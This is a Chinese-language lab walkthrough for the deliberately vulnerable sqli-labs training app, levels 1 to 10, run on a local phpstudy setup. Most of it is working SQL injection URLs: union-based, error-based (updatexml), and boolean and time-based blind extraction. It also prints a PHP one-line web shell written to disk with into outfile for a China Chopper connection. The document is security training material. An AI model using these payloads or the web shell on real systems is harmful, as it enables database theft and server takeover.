1.这边使用的phpstudy搭建环境,将源码复制到phpstudy目录中的www文件夹中,源码可以从github下载
这里是源码地址:https://github.com/Audi-1/sqli-labs
下图为源码文件放的位置
php版本建议5.4以上,这样没有魔术引号
下面只是单纯的爆数据库,想要爆出用户名和密码的话继续使用查询语句查询就行
Less 1
http://127.0.0.1/sqli-labs-master/Less-1/?id=1
//这里是less 1的url
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'
//尝试用单引号闭合试试是否报错,这里显示报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 --+
//使用 order by 判断字段数,这边显示3个字段
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' union select 1,2,3 --+
//使用union联合查询
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,database() --+
//直接爆出数据库
Less 2
http://127.0.0.1/sqli-labs-master/Less-2/?id=1
//这里是Less 2的url
http://127.0.0.1/sqli-labs-master/Less-2/?id=1-0
//用/报错和-0显示正常判断出此处有数值型注入
http://127.0.0.1/sqli-labs-master/Less-2/?id=1-0 union select 1,2,database() --+
//一样使用union联合查询爆出数据库
Less 3
http://127.0.0.1/sqli-labs-master/Less-3/?id=1
//这里是Less 3的url
http://127.0.0.1/sqli-labs-master/Less-3/?id=1' --+
//使用单号加注释,发现还是报错
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') --+
//这边加个括号发现回显正常,说明这里有字符型注入,判断是使用('')闭合字符串
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,database() --+
//继续用union联合爆出数据库
Less 4
这里与第三关类型,只是单引号变成了双引号,原理是一样的
Less 5
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'
//这边用单引号发现报错,用双引号发现页面返回正常,判断是单引号闭合,用联合查询发现这里没有数据回显,所以这边使用显错注入
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
//直接爆出数据库名
Less 6
这里和第五关一样,单引号闭合变为双引号闭合,同样使用显错注入爆出数据库
Less 7
http://127.0.0.1/sqli-labs-master/Less-7/?id=1'))--+
//经过多次测试发现这里是((''))闭合字符串,因为没有报错信息所以这边用不了显错注入
我们可以尝试写入文件
这里可以用@@basedir和@@datadir查看数据库安装路径和数据库路径,接着上传一句话
union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile"路径"
通过菜刀连接
Less 8
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' --+
//这里发现是单引号字符型注入,这里也尝试了一些boole盲注发现也可以
http://127.0.0.1/sqli-labs-master/Less-8/?id=2' union select 1,2,3 into outfile "D:\\phpStudy\\WWW\\1.php"--+
//尝试了一下上传文件发现上传成功,说明有file权限,这样就可以上传一句话用菜刀连接了
当然还有另一种方法,这里发现boole盲注也可以,我们可以利用boole盲注一个字符一个字符爆出数据库
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())=8 --+
//这里通过bool盲注判断数据库名长度,这里是8
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),1,1))>115 --+
//这里是判断数据库的第一个字符ascii值是否大于115
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+
//经过测试发现第一个字符ascii码为115,查询ascii表发现是s
以此类推可以爆出所有字符
Less 9
尝试使用单引号闭合和双引号闭合发现回显都是正常的
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) --+
//经过多次尝试这里是单引号闭合的时间盲注
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr(database(),1,1))>155,1,sleep(10)) --+
//判断数据库名的第一个字符ascii值是否大于155,如果大于155,页面立即响应,反之延迟10秒后响应
这样一个一个测出数据库名
Less 10
这里和第9关差不多
http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and sleep(10)--+
//双引号闭合的时间盲注
http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if (ascii(substr(database(),1,1))>155,1,sleep(10)) --+
//同样的判断第一个字符ascii值